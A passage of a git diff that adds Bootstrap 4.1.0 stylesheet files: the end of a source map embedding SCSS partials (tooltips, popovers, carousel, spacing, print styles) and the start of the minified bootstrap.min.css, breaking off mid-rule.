$tooltip-arrow-height ($tooltip-arrow-width / 2) 0;\n border-right-color: $tooltip-arrow-color;\n }\n }\n}\n\n.bs-tooltip-bottom {\n padding: $tooltip-arrow-height 0;\n\n .arrow {\n top: 0;\n\n &::before {\n bottom: 0;\n border-width: 0 ($tooltip-arrow-width / 2) $tooltip-arrow-height;\n border-bottom-color: $tooltip-arrow-color;\n }\n }\n}\n\n.bs-tooltip-left {\n padding: 0 $tooltip-arrow-height;\n\n .arrow {\n right: 0;\n width: $tooltip-arrow-height;\n height: $tooltip-arrow-width;\n\n &::before {\n left: 0;\n border-width: ($tooltip-arrow-width / 2) 0 ($tooltip-arrow-width / 2) $tooltip-arrow-height;\n border-left-color: $tooltip-arrow-color;\n }\n }\n}\n\n.bs-tooltip-auto {\n &[x-placement^=\"top\"] {\n @extend .bs-tooltip-top;\n }\n &[x-placement^=\"right\"] {\n @extend .bs-tooltip-right;\n }\n &[x-placement^=\"bottom\"] {\n @extend .bs-tooltip-bottom;\n }\n &[x-placement^=\"left\"] {\n @extend .bs-tooltip-left;\n }\n}\n\n// Wrapper for the tooltip content\n.tooltip-inner {\n max-width: $tooltip-max-width;\n padding: $tooltip-padding-y $tooltip-padding-x;\n color: $tooltip-color;\n text-align: center;\n background-color: $tooltip-bg;\n @include border-radius($tooltip-border-radius);\n}\n","@mixin reset-text {\n font-family: $font-family-base;\n // We deliberately do NOT reset font-size or word-wrap.\n font-style: normal;\n font-weight: $font-weight-normal;\n line-height: $line-height-base;\n text-align: left; // Fallback for where `start` is not supported\n text-align: start; // stylelint-disable-line declaration-block-no-duplicate-properties\n text-decoration: none;\n text-shadow: none;\n text-transform: none;\n letter-spacing: normal;\n word-break: normal;\n word-spacing: normal;\n white-space: normal;\n line-break: auto;\n}\n",".popover {\n position: absolute;\n top: 0;\n left: 0;\n z-index: $zindex-popover;\n display: block;\n max-width: $popover-max-width;\n // Our parent element can be arbitrary since tooltips are by default inserted as a sibling of their target element.\n // So reset our font and text properties to avoid inheriting weird values.\n @include reset-text();\n font-size: $popover-font-size;\n // Allow breaking very long words so they don't overflow the popover's bounds\n word-wrap: break-word;\n background-color: $popover-bg;\n background-clip: padding-box;\n border: $popover-border-width solid $popover-border-color;\n @include border-radius($popover-border-radius);\n @include box-shadow($popover-box-shadow);\n\n .arrow {\n position: absolute;\n display: block;\n width: $popover-arrow-width;\n height: $popover-arrow-height;\n margin: 0 $border-radius-lg;\n\n &::before,\n &::after {\n position: absolute;\n display: block;\n content: \"\";\n border-color: transparent;\n border-style: solid;\n }\n }\n}\n\n.bs-popover-top {\n margin-bottom: $popover-arrow-height;\n\n .arrow {\n bottom: calc((#{$popover-arrow-height} + #{$popover-border-width}) * -1);\n }\n\n .arrow::before,\n .arrow::after {\n border-width: $popover-arrow-height ($popover-arrow-width / 2) 0;\n }\n\n .arrow::before {\n bottom: 0;\n border-top-color: $popover-arrow-outer-color;\n }\n\n .arrow::after {\n bottom: $popover-border-width;\n border-top-color: $popover-arrow-color;\n }\n}\n\n.bs-popover-right {\n margin-left: $popover-arrow-height;\n\n .arrow {\n left: calc((#{$popover-arrow-height} + #{$popover-border-width}) * -1);\n width: $popover-arrow-height;\n height: $popover-arrow-width;\n margin: $border-radius-lg 0; // make sure the arrow does not touch the popover's rounded corners\n }\n\n .arrow::before,\n .arrow::after {\n border-width: ($popover-arrow-width / 2) $popover-arrow-height ($popover-arrow-width / 2) 0;\n }\n\n .arrow::before {\n left: 0;\n border-right-color: $popover-arrow-outer-color;\n }\n\n .arrow::after {\n left: $popover-border-width;\n border-right-color: $popover-arrow-color;\n }\n}\n\n.bs-popover-bottom {\n margin-top: $popover-arrow-height;\n\n .arrow {\n top: calc((#{$popover-arrow-height} + #{$popover-border-width}) * -1);\n }\n\n .arrow::before,\n .arrow::after {\n border-width: 0 ($popover-arrow-width / 2) $popover-arrow-height ($popover-arrow-width / 2);\n }\n\n .arrow::before {\n top: 0;\n border-bottom-color: $popover-arrow-outer-color;\n }\n\n .arrow::after {\n top: $popover-border-width;\n border-bottom-color: $popover-arrow-color;\n }\n\n // This will remove the popover-header's border just below the arrow\n .popover-header::before {\n position: absolute;\n top: 0;\n left: 50%;\n display: block;\n width: $popover-arrow-width;\n margin-left: ($popover-arrow-width / -2);\n content: \"\";\n border-bottom: $popover-border-width solid $popover-header-bg;\n }\n}\n\n.bs-popover-left {\n margin-right: $popover-arrow-height;\n\n .arrow {\n right: calc((#{$popover-arrow-height} + #{$popover-border-width}) * -1);\n width: $popover-arrow-height;\n height: $popover-arrow-width;\n margin: $border-radius-lg 0; // make sure the arrow does not touch the popover's rounded corners\n }\n\n .arrow::before,\n .arrow::after {\n border-width: ($popover-arrow-width / 2) 0 ($popover-arrow-width / 2) $popover-arrow-height;\n }\n\n .arrow::before {\n right: 0;\n border-left-color: $popover-arrow-outer-color;\n }\n\n .arrow::after {\n right: $popover-border-width;\n border-left-color: $popover-arrow-color;\n }\n}\n\n.bs-popover-auto {\n &[x-placement^=\"top\"] {\n @extend .bs-popover-top;\n }\n &[x-placement^=\"right\"] {\n @extend .bs-popover-right;\n }\n &[x-placement^=\"bottom\"] {\n @extend .bs-popover-bottom;\n }\n &[x-placement^=\"left\"] {\n @extend .bs-popover-left;\n }\n}\n\n\n// Offset the popover to account for the popover arrow\n.popover-header {\n padding: $popover-header-padding-y $popover-header-padding-x;\n margin-bottom: 0; // Reset the default from Reboot\n font-size: $font-size-base;\n color: $popover-header-color;\n background-color: $popover-header-bg;\n border-bottom: $popover-border-width solid darken($popover-header-bg, 5%);\n $offset-border-width: calc(#{$border-radius-lg} - #{$popover-border-width});\n @include border-top-radius($offset-border-width);\n\n &:empty {\n display: none;\n }\n}\n\n.popover-body {\n padding: $popover-body-padding-y $popover-body-padding-x;\n color: $popover-body-color;\n}\n","// Notes on the classes:\n//\n// 1. The .carousel-item-left and .carousel-item-right is used to indicate where\n// the active slide is heading.\n// 2. .active.carousel-item is the current slide.\n// 3. .active.carousel-item-left and .active.carousel-item-right is the current\n// slide in its in-transition state. Only one of these occurs at a time.\n// 4. .carousel-item-next.carousel-item-left and .carousel-item-prev.carousel-item-right\n// is the upcoming slide in transition.\n\n.carousel {\n position: relative;\n}\n\n.carousel-inner {\n position: relative;\n width: 100%;\n overflow: hidden;\n}\n\n.carousel-item {\n position: relative;\n display: none;\n align-items: center;\n width: 100%;\n @include transition($carousel-transition);\n backface-visibility: hidden;\n perspective: 1000px;\n}\n\n.carousel-item.active,\n.carousel-item-next,\n.carousel-item-prev {\n display: block;\n}\n\n.carousel-item-next,\n.carousel-item-prev {\n position: absolute;\n top: 0;\n}\n\n.carousel-item-next.carousel-item-left,\n.carousel-item-prev.carousel-item-right {\n transform: translateX(0);\n\n @supports (transform-style: preserve-3d) {\n transform: translate3d(0, 0, 0);\n }\n}\n\n.carousel-item-next,\n.active.carousel-item-right {\n transform: translateX(100%);\n\n @supports (transform-style: preserve-3d) {\n transform: translate3d(100%, 0, 0);\n }\n}\n\n.carousel-item-prev,\n.active.carousel-item-left {\n transform: translateX(-100%);\n\n @supports (transform-style: preserve-3d) {\n transform: translate3d(-100%, 0, 0);\n }\n}\n\n\n//\n// Alternate transitions\n//\n\n.carousel-fade {\n .carousel-item {\n opacity: 0;\n transition-duration: .6s;\n transition-property: opacity;\n }\n\n .carousel-item.active,\n .carousel-item-next.carousel-item-left,\n .carousel-item-prev.carousel-item-right {\n opacity: 1;\n }\n\n .active.carousel-item-left,\n .active.carousel-item-right {\n opacity: 0;\n }\n\n .carousel-item-next,\n .carousel-item-prev,\n .carousel-item.active,\n .active.carousel-item-left,\n .active.carousel-item-prev {\n transform: translateX(0);\n\n @supports (transform-style: preserve-3d) {\n transform: translate3d(0, 0, 0);\n }\n }\n}\n\n\n//\n// Left/right controls for nav\n//\n\n.carousel-control-prev,\n.carousel-control-next {\n position: absolute;\n top: 0;\n bottom: 0;\n // Use flex for alignment (1-3)\n display: flex; // 1. allow flex styles\n align-items: center; // 2. vertically center contents\n justify-content: center; // 3. horizontally center contents\n width: $carousel-control-width;\n color: $carousel-control-color;\n text-align: center;\n opacity: $carousel-control-opacity;\n // We can't have a transition here because WebKit cancels the carousel\n // animation if you trip this while in the middle of another animation.\n\n // Hover/focus state\n @include hover-focus {\n color: $carousel-control-color;\n text-decoration: none;\n outline: 0;\n opacity: .9;\n }\n}\n.carousel-control-prev {\n left: 0;\n @if $enable-gradients {\n background: linear-gradient(90deg, rgba($black, .25), rgba($black, .001));\n }\n}\n.carousel-control-next {\n right: 0;\n @if $enable-gradients {\n background: linear-gradient(270deg, rgba($black, .25), rgba($black, .001));\n }\n}\n\n// Icons for within\n.carousel-control-prev-icon,\n.carousel-control-next-icon {\n display: inline-block;\n width: $carousel-control-icon-width;\n height: $carousel-control-icon-width;\n background: transparent no-repeat center center;\n background-size: 100% 100%;\n}\n.carousel-control-prev-icon {\n background-image: $carousel-control-prev-icon-bg;\n}\n.carousel-control-next-icon {\n background-image: $carousel-control-next-icon-bg;\n}\n\n\n// Optional indicator pips\n//\n// Add an ordered list with the following class and add a list item for each\n// slide your carousel holds.\n\n.carousel-indicators {\n position: absolute;\n right: 0;\n bottom: 10px;\n left: 0;\n z-index: 15;\n display: flex;\n justify-content: center;\n padding-left: 0; // override <ol> default\n // Use the .carousel-control's width as margin so we don't overlay those\n margin-right: $carousel-control-width;\n margin-left: $carousel-control-width;\n list-style: none;\n\n li {\n position: relative;\n flex: 0 1 auto;\n width: $carousel-indicator-width;\n height: $carousel-indicator-height;\n margin-right: $carousel-indicator-spacer;\n margin-left: $carousel-indicator-spacer;\n text-indent: -999px;\n background-color: rgba($carousel-indicator-active-bg, .5);\n\n // Use pseudo classes to increase the hit area by 10px on top and bottom.\n &::before {\n position: absolute;\n top: -10px;\n left: 0;\n display: inline-block;\n width: 100%;\n height: 10px;\n content: \"\";\n }\n &::after {\n position: absolute;\n bottom: -10px;\n left: 0;\n display: inline-block;\n width: 100%;\n height: 10px;\n content: \"\";\n }\n }\n\n .active {\n background-color: $carousel-indicator-active-bg;\n }\n}\n\n\n// Optional captions\n//\n//\n\n.carousel-caption {\n position: absolute;\n right: ((100% - $carousel-caption-width) / 2);\n bottom: 20px;\n left: ((100% - $carousel-caption-width) / 2);\n z-index: 10;\n padding-top: 20px;\n padding-bottom: 20px;\n color: $carousel-caption-color;\n text-align: center;\n}\n","// stylelint-disable declaration-no-important\n\n.align-baseline { vertical-align: baseline !important; } // Browser default\n.align-top { vertical-align: top !important; }\n.align-middle { vertical-align: middle !important; }\n.align-bottom { vertical-align: bottom !important; }\n.align-text-bottom { vertical-align: text-bottom !important; }\n.align-text-top { vertical-align: text-top !important; }\n","// stylelint-disable declaration-no-important\n\n// Contextual backgrounds\n\n@mixin bg-variant($parent, $color) {\n #{$parent} {\n background-color: $color !important;\n }\n a#{$parent},\n button#{$parent} {\n @include hover-focus {\n background-color: darken($color, 10%) !important;\n }\n }\n}\n\n@mixin bg-gradient-variant($parent, $color) {\n #{$parent} {\n background: $color linear-gradient(180deg, mix($body-bg, $color, 15%), $color) repeat-x !important;\n }\n}\n","// stylelint-disable declaration-no-important\n\n@each $color, $value in $theme-colors {\n @include bg-variant(\".bg-#{$color}\", $value);\n}\n\n@if $enable-gradients {\n @each $color, $value in $theme-colors {\n @include bg-gradient-variant(\".bg-gradient-#{$color}\", $value);\n }\n}\n\n.bg-white {\n background-color: $white !important;\n}\n\n.bg-transparent {\n background-color: transparent !important;\n}\n","// stylelint-disable declaration-no-important\n\n//\n// Border\n//\n\n.border { border: $border-width solid $border-color !important; }\n.border-top { border-top: $border-width solid $border-color !important; }\n.border-right { border-right: $border-width solid $border-color !important; }\n.border-bottom { border-bottom: $border-width solid $border-color !important; }\n.border-left { border-left: $border-width solid $border-color !important; }\n\n.border-0 { border: 0 !important; }\n.border-top-0 { border-top: 0 !important; }\n.border-right-0 { border-right: 0 !important; }\n.border-bottom-0 { border-bottom: 0 !important; }\n.border-left-0 { border-left: 0 !important; }\n\n@each $color, $value in $theme-colors {\n .border-#{$color} {\n border-color: $value !important;\n }\n}\n\n.border-white {\n border-color: $white !important;\n}\n\n//\n// Border-radius\n//\n\n.rounded {\n border-radius: $border-radius !important;\n}\n.rounded-top {\n border-top-left-radius: $border-radius !important;\n border-top-right-radius: $border-radius !important;\n}\n.rounded-right {\n border-top-right-radius: $border-radius !important;\n border-bottom-right-radius: $border-radius !important;\n}\n.rounded-bottom {\n border-bottom-right-radius: $border-radius !important;\n border-bottom-left-radius: $border-radius !important;\n}\n.rounded-left {\n border-top-left-radius: $border-radius !important;\n border-bottom-left-radius: $border-radius !important;\n}\n\n.rounded-circle {\n border-radius: 50% !important;\n}\n\n.rounded-0 {\n border-radius: 0 !important;\n}\n","@mixin clearfix() {\n &::after {\n display: block;\n clear: both;\n content: \"\";\n }\n}\n","// stylelint-disable declaration-no-important\n\n//\n// Utilities for common `display` values\n//\n\n@each $breakpoint in map-keys($grid-breakpoints) {\n @include media-breakpoint-up($breakpoint) {\n $infix: breakpoint-infix($breakpoint, $grid-breakpoints);\n\n .d#{$infix}-none { display: none !important; }\n .d#{$infix}-inline { display: inline !important; }\n .d#{$infix}-inline-block { display: inline-block !important; }\n .d#{$infix}-block { display: block !important; }\n .d#{$infix}-table { display: table !important; }\n .d#{$infix}-table-row { display: table-row !important; }\n .d#{$infix}-table-cell { display: table-cell !important; }\n .d#{$infix}-flex { display: flex !important; }\n .d#{$infix}-inline-flex { display: inline-flex !important; }\n }\n}\n\n\n//\n// Utilities for toggling `display` in print\n//\n\n@media print {\n .d-print-none { display: none !important; }\n .d-print-inline { display: inline !important; }\n .d-print-inline-block { display: inline-block !important; }\n .d-print-block { display: block !important; }\n .d-print-table { display: table !important; }\n .d-print-table-row { display: table-row !important; }\n .d-print-table-cell { display: table-cell !important; }\n .d-print-flex { display: flex !important; }\n .d-print-inline-flex { display: inline-flex !important; }\n}\n","// Credit: Nicolas Gallagher and SUIT CSS.\n\n.embed-responsive {\n position: relative;\n display: block;\n width: 100%;\n padding: 0;\n overflow: hidden;\n\n &::before {\n display: block;\n content: \"\";\n }\n\n .embed-responsive-item,\n iframe,\n embed,\n object,\n video {\n position: absolute;\n top: 0;\n bottom: 0;\n left: 0;\n width: 100%;\n height: 100%;\n border: 0;\n }\n}\n\n.embed-responsive-21by9 {\n &::before {\n padding-top: percentage(9 / 21);\n }\n}\n\n.embed-responsive-16by9 {\n &::before {\n padding-top: percentage(9 / 16);\n }\n}\n\n.embed-responsive-4by3 {\n &::before {\n padding-top: percentage(3 / 4);\n }\n}\n\n.embed-responsive-1by1 {\n &::before {\n padding-top: percentage(1 / 1);\n }\n}\n","// stylelint-disable declaration-no-important\n\n// Flex variation\n//\n// Custom styles for additional flex alignment options.\n\n@each $breakpoint in map-keys($grid-breakpoints) {\n @include media-breakpoint-up($breakpoint) {\n $infix: breakpoint-infix($breakpoint, $grid-breakpoints);\n\n .flex#{$infix}-row { flex-direction: row !important; }\n .flex#{$infix}-column { flex-direction: column !important; }\n .flex#{$infix}-row-reverse { flex-direction: row-reverse !important; }\n .flex#{$infix}-column-reverse { flex-direction: column-reverse !important; }\n\n .flex#{$infix}-wrap { flex-wrap: wrap !important; }\n .flex#{$infix}-nowrap { flex-wrap: nowrap !important; }\n .flex#{$infix}-wrap-reverse { flex-wrap: wrap-reverse !important; }\n .flex#{$infix}-fill { flex: 1 1 auto !important; }\n .flex#{$infix}-grow-0 { flex-grow: 0 !important; }\n .flex#{$infix}-grow-1 { flex-grow: 1 !important; }\n .flex#{$infix}-shrink-0 { flex-shrink: 0 !important; }\n .flex#{$infix}-shrink-1 { flex-shrink: 1 !important; }\n\n .justify-content#{$infix}-start { justify-content: flex-start !important; }\n .justify-content#{$infix}-end { justify-content: flex-end !important; }\n .justify-content#{$infix}-center { justify-content: center !important; }\n .justify-content#{$infix}-between { justify-content: space-between !important; }\n .justify-content#{$infix}-around { justify-content: space-around !important; }\n\n .align-items#{$infix}-start { align-items: flex-start !important; }\n .align-items#{$infix}-end { align-items: flex-end !important; }\n .align-items#{$infix}-center { align-items: center !important; }\n .align-items#{$infix}-baseline { align-items: baseline !important; }\n .align-items#{$infix}-stretch { align-items: stretch !important; }\n\n .align-content#{$infix}-start { align-content: flex-start !important; }\n .align-content#{$infix}-end { align-content: flex-end !important; }\n .align-content#{$infix}-center { align-content: center !important; }\n .align-content#{$infix}-between { align-content: space-between !important; }\n .align-content#{$infix}-around { align-content: space-around !important; }\n .align-content#{$infix}-stretch { align-content: stretch !important; }\n\n .align-self#{$infix}-auto { align-self: auto !important; }\n .align-self#{$infix}-start { align-self: flex-start !important; }\n .align-self#{$infix}-end { align-self: flex-end !important; }\n .align-self#{$infix}-center { align-self: center !important; }\n .align-self#{$infix}-baseline { align-self: baseline !important; }\n .align-self#{$infix}-stretch { align-self: stretch !important; }\n }\n}\n","@each $breakpoint in map-keys($grid-breakpoints) {\n @include media-breakpoint-up($breakpoint) {\n $infix: breakpoint-infix($breakpoint, $grid-breakpoints);\n\n .float#{$infix}-left { @include float-left; }\n .float#{$infix}-right { @include float-right; }\n .float#{$infix}-none { @include float-none; }\n }\n}\n","// stylelint-disable declaration-no-important\n\n@mixin float-left {\n float: left !important;\n}\n@mixin float-right {\n float: right !important;\n}\n@mixin float-none {\n float: none !important;\n}\n","// stylelint-disable declaration-no-important\n\n// Common values\n\n// Sass list not in variables since it's not intended for customization.\n// stylelint-disable-next-line scss/dollar-variable-default\n$positions: static, relative, absolute, fixed, sticky;\n\n@each $position in $positions {\n .position-#{$position} { position: $position !important; }\n}\n\n// Shorthand\n\n.fixed-top {\n position: fixed;\n top: 0;\n right: 0;\n left: 0;\n z-index: $zindex-fixed;\n}\n\n.fixed-bottom {\n position: fixed;\n right: 0;\n bottom: 0;\n left: 0;\n z-index: $zindex-fixed;\n}\n\n.sticky-top {\n @supports (position: sticky) {\n position: sticky;\n top: 0;\n z-index: $zindex-sticky;\n }\n}\n","//\n// Screenreaders\n//\n\n.sr-only {\n @include sr-only();\n}\n\n.sr-only-focusable {\n @include sr-only-focusable();\n}\n","// Only display content to screen readers\n//\n// See: https://a11yproject.com/posts/how-to-hide-content/\n// See: https://hugogiraudel.com/2016/10/13/css-hide-and-seek/\n\n@mixin sr-only {\n position: absolute;\n width: 1px;\n height: 1px;\n padding: 0;\n overflow: hidden;\n clip: rect(0, 0, 0, 0);\n white-space: nowrap;\n border: 0;\n}\n\n// Use in conjunction with .sr-only to only display content when it's focused.\n//\n// Useful for \"Skip to main content\" links; see https://www.w3.org/TR/2013/NOTE-WCAG20-TECHS-20130905/G1\n//\n// Credit: HTML5 Boilerplate\n\n@mixin sr-only-focusable {\n &:active,\n &:focus {\n position: static;\n width: auto;\n height: auto;\n overflow: visible;\n clip: auto;\n white-space: normal;\n }\n}\n","// stylelint-disable declaration-no-important\n\n.shadow-sm { box-shadow: $box-shadow-sm !important; }\n.shadow { box-shadow: $box-shadow !important; }\n.shadow-lg { box-shadow: $box-shadow-lg !important; }\n.shadow-none { box-shadow: none !important; }\n","// stylelint-disable declaration-no-important\n\n// Width and height\n\n@each $prop, $abbrev in (width: w, height: h) {\n @each $size, $length in $sizes {\n .#{$abbrev}-#{$size} { #{$prop}: $length !important; }\n }\n}\n\n.mw-100 { max-width: 100% !important; }\n.mh-100 { max-height: 100% !important; }\n","// stylelint-disable declaration-no-important\n\n// Margin and Padding\n\n@each $breakpoint in map-keys($grid-breakpoints) {\n @include media-breakpoint-up($breakpoint) {\n $infix: breakpoint-infix($breakpoint, $grid-breakpoints);\n\n @each $prop, $abbrev in (margin: m, padding: p) {\n @each $size, $length in $spacers {\n\n .#{$abbrev}#{$infix}-#{$size} { #{$prop}: $length !important; }\n .#{$abbrev}t#{$infix}-#{$size},\n .#{$abbrev}y#{$infix}-#{$size} {\n #{$prop}-top: $length !important;\n }\n .#{$abbrev}r#{$infix}-#{$size},\n .#{$abbrev}x#{$infix}-#{$size} {\n #{$prop}-right: $length !important;\n }\n .#{$abbrev}b#{$infix}-#{$size},\n .#{$abbrev}y#{$infix}-#{$size} {\n #{$prop}-bottom: $length !important;\n }\n .#{$abbrev}l#{$infix}-#{$size},\n .#{$abbrev}x#{$infix}-#{$size} {\n #{$prop}-left: $length !important;\n }\n }\n }\n\n // Some special margin utils\n .m#{$infix}-auto { margin: auto !important; }\n .mt#{$infix}-auto,\n .my#{$infix}-auto {\n margin-top: auto !important;\n }\n .mr#{$infix}-auto,\n .mx#{$infix}-auto {\n margin-right: auto !important;\n }\n .mb#{$infix}-auto,\n .my#{$infix}-auto {\n margin-bottom: auto !important;\n }\n .ml#{$infix}-auto,\n .mx#{$infix}-auto {\n margin-left: auto !important;\n }\n }\n}\n","// stylelint-disable declaration-no-important\n\n//\n// Text\n//\n\n.text-monospace { font-family: $font-family-monospace; }\n\n// Alignment\n\n.text-justify { text-align: justify !important; }\n.text-nowrap { white-space: nowrap !important; }\n.text-truncate { @include text-truncate; }\n\n// Responsive alignment\n\n@each $breakpoint in map-keys($grid-breakpoints) {\n @include media-breakpoint-up($breakpoint) {\n $infix: breakpoint-infix($breakpoint, $grid-breakpoints);\n\n .text#{$infix}-left { text-align: left !important; }\n .text#{$infix}-right { text-align: right !important; }\n .text#{$infix}-center { text-align: center !important; }\n }\n}\n\n// Transformation\n\n.text-lowercase { text-transform: lowercase !important; }\n.text-uppercase { text-transform: uppercase !important; }\n.text-capitalize { text-transform: capitalize !important; }\n\n// Weight and italics\n\n.font-weight-light { font-weight: $font-weight-light !important; }\n.font-weight-normal { font-weight: $font-weight-normal !important; }\n.font-weight-bold { font-weight: $font-weight-bold !important; }\n.font-italic { font-style: italic !important; }\n\n// Contextual colors\n\n.text-white { color: $white !important; }\n\n@each $color, $value in $theme-colors {\n @include text-emphasis-variant(\".text-#{$color}\", $value);\n}\n\n.text-body { color: $body-color !important; }\n.text-muted { color: $text-muted !important; }\n\n.text-black-50 { color: rgba($black, .5) !important; }\n.text-white-50 { color: rgba($white, .5) !important; }\n\n// Misc\n\n.text-hide {\n @include text-hide();\n}\n","// Text truncate\n// Requires inline-block or block for proper styling\n\n@mixin text-truncate() {\n overflow: hidden;\n text-overflow: ellipsis;\n white-space: nowrap;\n}\n","// stylelint-disable declaration-no-important\n\n// Typography\n\n@mixin text-emphasis-variant($parent, $color) {\n #{$parent} {\n color: $color !important;\n }\n a#{$parent} {\n @include hover-focus {\n color: darken($color, 10%) !important;\n }\n }\n}\n","// CSS image replacement\n@mixin text-hide() {\n // stylelint-disable-next-line font-family-no-missing-generic-family-keyword\n font: 0/0 a;\n color: transparent;\n text-shadow: none;\n background-color: transparent;\n border: 0;\n\n @warn \"The `text-hide()` mixin has been deprecated as of v4.1.0. It will be removed entirely in v5.\";\n}\n","//\n// Visibility utilities\n//\n\n.visible {\n @include invisible(visible);\n}\n\n.invisible {\n @include invisible(hidden);\n}\n","// stylelint-disable declaration-no-important\n\n// Visibility\n\n@mixin invisible($visibility) {\n visibility: $visibility !important;\n}\n","// stylelint-disable declaration-no-important, selector-no-qualifying-type\n\n// Source: https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css\n\n// ==========================================================================\n// Print styles.\n// Inlined to avoid the additional HTTP request:\n// https://www.phpied.com/delay-loading-your-print-css/\n// ==========================================================================\n\n@if $enable-print-styles {\n @media print {\n *,\n *::before,\n *::after {\n // Bootstrap specific; comment out `color` and `background`\n //color: $black !important; // Black prints faster\n text-shadow: none !important;\n //background: transparent !important;\n box-shadow: none !important;\n }\n\n a {\n &:not(.btn) {\n text-decoration: underline;\n }\n }\n\n // Bootstrap specific; comment the following selector out\n //a[href]::after {\n // content: \" (\" attr(href) \")\";\n //}\n\n abbr[title]::after {\n content: \" (\" attr(title) \")\";\n }\n\n // Bootstrap specific; comment the following selector out\n //\n // Don't show links that are fragment identifiers,\n // or use the `javascript:` pseudo protocol\n //\n\n //a[href^=\"#\"]::after,\n //a[href^=\"javascript:\"]::after {\n // content: \"\";\n //}\n\n pre {\n white-space: pre-wrap !important;\n }\n pre,\n blockquote {\n border: $border-width solid $gray-500; // Bootstrap custom code; using `$border-width` instead of 1px\n page-break-inside: avoid;\n }\n\n //\n // Printing Tables:\n // http://css-discuss.incutio.com/wiki/Printing_Tables\n //\n\n thead {\n display: table-header-group;\n }\n\n tr,\n img {\n page-break-inside: avoid;\n }\n\n p,\n h2,\n h3 {\n orphans: 3;\n widows: 3;\n }\n\n h2,\n h3 {\n page-break-after: avoid;\n }\n\n // Bootstrap specific changes start\n\n // Specify a size and min-width to make printing closer across browsers.\n // We don't set margin here because it breaks `size` in Chrome. We also\n // don't use `!important` on `size` as it breaks in Chrome.\n @page {\n size: $print-page-size;\n }\n body {\n min-width: $print-body-min-width !important;\n }\n .container {\n min-width: $print-body-min-width !important;\n }\n\n // Bootstrap components\n .navbar {\n display: none;\n }\n .badge {\n border: $border-width solid $black;\n }\n\n .table {\n border-collapse: collapse !important;\n\n td,\n th {\n background-color: $white !important;\n }\n }\n .table-bordered {\n th,\n td {\n border: 1px solid $gray-300 !important;\n }\n }\n\n // Bootstrap specific changes end\n }\n}\n"]} \ No newline at end of file diff --git a/public/css/bootstrap.min.css b/public/css/bootstrap.min.css new file mode 100644 index 0000000..e490fd0 --- /dev/null +++ b/public/css/bootstrap.min.css @@ -0,0 +1,7 @@ +/*! + * Bootstrap v4.1.0 (https://getbootstrap.com/) + * Copyright 2011-2018 The Bootstrap Authors + * Copyright 2011-2018 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + */:root{--blue:#007bff;--indigo:#6610f2;--purple:#6f42c1;--pink:#e83e8c;--red:#dc3545;--orange:#fd7e14;--yellow:#ffc107;--green:#28a745;--teal:#20c997;--cyan:#17a2b8;--white:#fff;--gray:#6c757d;--gray-dark:#343a40;--primary:#007bff;--secondary:#6c757d;--success:#28a745;--info:#17a2b8;--warning:#ffc107;--danger:#dc3545;--light:#f8f9fa;--dark:#343a40;--breakpoint-xs:0;--breakpoint-sm:576px;--breakpoint-md:768px;--breakpoint-lg:992px;--breakpoint-xl:1200px;--font-family-sans-serif:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol";--font-family-monospace:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace}*,::after,::before{box-sizing:border-box}html{font-family:sans-serif;line-height:1.15;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;-ms-overflow-style:scrollbar;-webkit-tap-highlight-color:transparent}@-ms-viewport{width:device-width}article,aside,dialog,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}body{margin:0;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol";font-size:1rem;font-weight:400;line-height:1.5;color:#212529;text-align:left;background-color:#fff}[tabindex="-1"]:focus{outline:0!important}hr{box-sizing:content-box;height:0;overflow:visible}h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:.5rem}p{margin-top:0;margin-bottom:1rem}abbr[data-original-title],abbr[title]{text-decoration:underline;-webkit-text-decoration:underline dotted;text-decoration:underline dotted;cursor:help;border-bottom:0}address{margin-bottom:1rem;font-style:normal;line-height:inherit}dl,ol,ul{margin-top:0;margin-bottom:1rem}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}dt{font-weight:700}dd{margin-bottom:.5rem;margin-left:0}blockquote{margin:0 0 1rem}dfn{font-style:italic}b,strong{font-weight:bolder}small{font-size:80%}sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}a{color:#007bff;text-decoration:none;background-color:transparent;-webkit-text-decoration-skip:objects}a:hover{color:#0056b3;text-decoration:underline}a:not([href]):not([tabindex]){color:inherit;text-decoration:none}a:not([href]):not([tabindex]):focus,a:not([href]):not([tabindex]):hover{color:inherit;text-decoration:none}a:not([href]):not([tabindex]):focus{outline:0}code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}pre{margin-top:0;margin-bottom:1rem;overflow:auto;-ms-overflow-style:scrollbar}figure{margin:0 0 1rem}img{vertical-align:middle;border-style:none}svg:not(:root){overflow:hidden}table{border-collapse:collapse}caption{padding-top:.75rem;padding-bottom:.75rem;color:#6c757d;text-align:left;caption-side:bottom}th{text-align:inherit}label{display:inline-block;margin-bottom:.5rem}button{border-radius:0}button:focus{outline:1px dotted;outline:5px auto -webkit-focus-ring-color}button,input,optgroup,select,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button,input{overflow:visible}button,select{text-transform:none}[type=reset],[type=submit],button,html [type=button]{-webkit-appearance:button}[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inner,[type=submit]::-moz-focus-inner,button::-moz-focus-inner{padding:0;border-style:none}input[type=checkbox],input[type=radio]{box-sizing:border-box;padding:0}input[type=date],input[type=datetime-local],input[type=month],input[type=time]{-webkit-appearance:listbox}textarea{overflow:auto;resize:vertical}fieldset{min-width:0;padding:0;margin:0;border:0}legend{display:block;width:100%;max-width:100%;padding:0;margin-bottom:.5rem;font-size:1.5rem;line-height:inherit;color:inherit;white-space:normal}progress{vertical-align:baseline}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]{outline-offset:-2px;-webkit-appearance:none}[type=search]::-webkit-search-cancel-button,[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{font:inherit;-webkit-appearance:button}output{display:inline-block}summary{display:list-item;cursor:pointer}template{display:none}[hidden]{display:none!important}.h1